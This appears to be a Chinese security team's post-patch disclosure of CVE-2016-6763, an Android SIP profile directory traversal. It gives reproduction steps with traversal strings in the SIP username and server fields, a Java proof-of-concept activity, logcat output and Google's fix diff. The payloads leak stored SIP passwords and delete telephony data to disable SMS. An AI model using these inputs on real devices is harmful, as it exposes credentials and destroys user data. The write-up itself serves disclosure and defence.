责任编辑:支书Woojune
Google 12月的安全公告修复了我们提交的一个Telephony拒绝服务漏洞。
* CVE: CVE-2016-6763
* BugID: A-31530456
* 严重性: 高
* 影响的Google设备: All
* Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0
漏洞位于负责sip账户序列化和反序列化的SipProfileDb.java中。见deleteProfile、saveProfile和retriveSipProfileName等方法,存在目录穿越,mProfileDirectory和Sip profile name(形式为:sip账户@sip主机名)未经检查就直接拼接在了一起,而Sip profile name允许存在包括’/’和’..’等在内的特殊字符,因此本地攻击者可以通过构建包含这些特殊字符的Sip profile name,将sip序列化文件存储于属于radio用户的的任意目录。
这个漏洞允许具有物理接触权限的本地攻击者或者被欺骗的用户在radio用户的目录下创建一个名字可控的文件夹,或者删除radio用户目录下的所有文件。在报给Google的漏洞报告中,我们基于Nexus 6P设备和Android 6.0.1版本,设想了两种需要物理接触和用户交互的攻击场景,但根据Google安全公告,不排除他们发现了自动化的攻击面。
假设手机上已有一个SIP账户:alice@CompromisedSite,口令为”12345″
1. 打开电话应用的设置->通话->通话账号->Sip账号,对已有账号进行修改;
2. 将用户名修改为”alice/”,将服务器名修改为“CompromisedSite/../../../../../../../../sdcard/”,点击保存。
sip 账户配置文件将出现在sdcard目录,可以直接查看这个配置文件获得原始口令“12345”
shell@angler:/sdcard $ ls -a -l -rw-rw—- root sdcard_rw 1843 2016-09-12 14:58 .pobj
1. 打开电话应用的设置->通话->通话账号->Sip账号,添加一个新的Sip账号;
2. 用户名填“alice/”,服务器名填“somesite/../../../../../../../../data/data/com.android.providers.telephony/“,密码随意,然后点击保存;
3. 由于com.android.phone将会对目录名和序列化的sip配置文件中的sip profile name进行检查,这个账户不会出现在Sip账户的ListView中,然而由于目录穿越的存在,sip配置文件仍然会存储于/data/data/com.android.providers.telephony/目录下;
4. 使用以下代码,将刚才添加的Sip账号显示出来;
public class MainActivity extends AppCompatActivity { Button m_btn = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); m_btn = (Button)findViewById(R.id.siptest); m_btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent i = new Intent(); i.setComponent(new ComponentName(“com.android.phone”, “com.android.services.telephony.sip.SipPhoneAccountSettingsActivity”)); PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName(“com.android.phone”, “com.android.services.telephony.sip.SipConnectionService”), “alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/”); i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle); startActivity(i); } }); } }
5. 将服务器修改
为“somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db”,并点击保存,这将依次调用SipProfileDb.java中的deleteProfile和savaProfile方法。因此,首先是com.android.providers.telephony目录下的所有文件被删除,紧接着建立databases目录以及其下的mmssms.db目录。
此时,手机的所有短信功能将被禁用,既不能收,也不能发。
logcat显示sqlite错误,因为我们在/data/data/com.android.providers.telephony/databases/放了一个假的mmsms.db 文件(目录)占位,而使真正的mmssms.db无法恢复。如果使用假的telephony.db,则可以禁用电话功能,或者瞄准/data/misc/radio/目录下的其他文件进行占位,都会对手机的radio功能带来影响。
09-14 10:19:44.593 3862 4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date<=9223372036854775807 AND read=0] 09-14 10:19:44.593 3862 4522 E DatabaseUtils: Writing exception to parcel 09-14 10:19:44.593 3862 4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProvider$Transport.update(ContentProvider.java:355) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222) 09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.os.Binder.execTransact(Binder.java:453)
由于占位文件的存在,普通用户只有通过恢复工厂设置重新启用短信功能。
Google的修复比较严谨,不是简单的过滤’/’猥琐字符。
@@ -20,6 +20,7 @@ import android.content.Context; import android.net.sip.SipProfile; +import android.util.EventLog; import android.util.Log; import java.io.File; @@ -51,9 +52,13 @@ mSipSharedPreferences = new SipSharedPreferences(context); } – public void deleteProfile(SipProfile p) { + public void deleteProfile(SipProfile p) throws IOException { synchronized(SipProfileDb.class) { – deleteProfile(new File(mProfilesDirectory + p.getProfileName())); + File profileFile = new File(mProfilesDirectory, p.getProfileName()); + if (!isChild(new File(mProfilesDirectory), profileFile)) { + throw new IOException(“Invalid Profile Credentials!”); + } + deleteProfile(profileFile); if (mProfilesCount < 0) retrieveSipProfileListInternal(); mSipSharedPreferences.setProfilesCount(–mProfilesCount); } @@ -69,7 +74,10 @@ public void saveProfile(SipProfile p) throws IOException { synchronized(SipProfileDb.class) { if (mProfilesCount < 0) retrieveSipProfileListInternal(); – File f = new File(mProfilesDirectory + p.getProfileName()); + File f = new File(mProfilesDirectory, p.getProfileName()); + if (!isChild(new File(mProfilesDirectory), f)) { + throw new IOException(“Invalid Profile Credentials!”); + } if (!f.exists()) f.mkdirs(); AtomicFile atomicFile = new AtomicFile(new File(f, PROFILE_OBJ_FILE)); @@ -141,4 +149,19 @@ } return null; } + + /** + * Verifies that the file is a direct child of the base directory. + */ + private boolean isChild(File base, File file) { + if (base == null || file == null) { + return false; + } + if (!base.equals(file.getAbsoluteFile().getParentFile())) { + Log.w(TAG, “isChild, file is not a child of the base dir.”); + EventLog.writeEvent(0x534e4554, “31530456”, -1, “”); + return false; + } + return true; + } }
2016-09-12: 上报Google
2016-10-04: Google确认漏洞,评级高
2016-12-05: 发布补丁
2016-12-08: 公开
版权声明:
本文由MS509团队成员原创,转载请注明来源
↓↓↓ 点击"阅读原文" 【查看更多信息】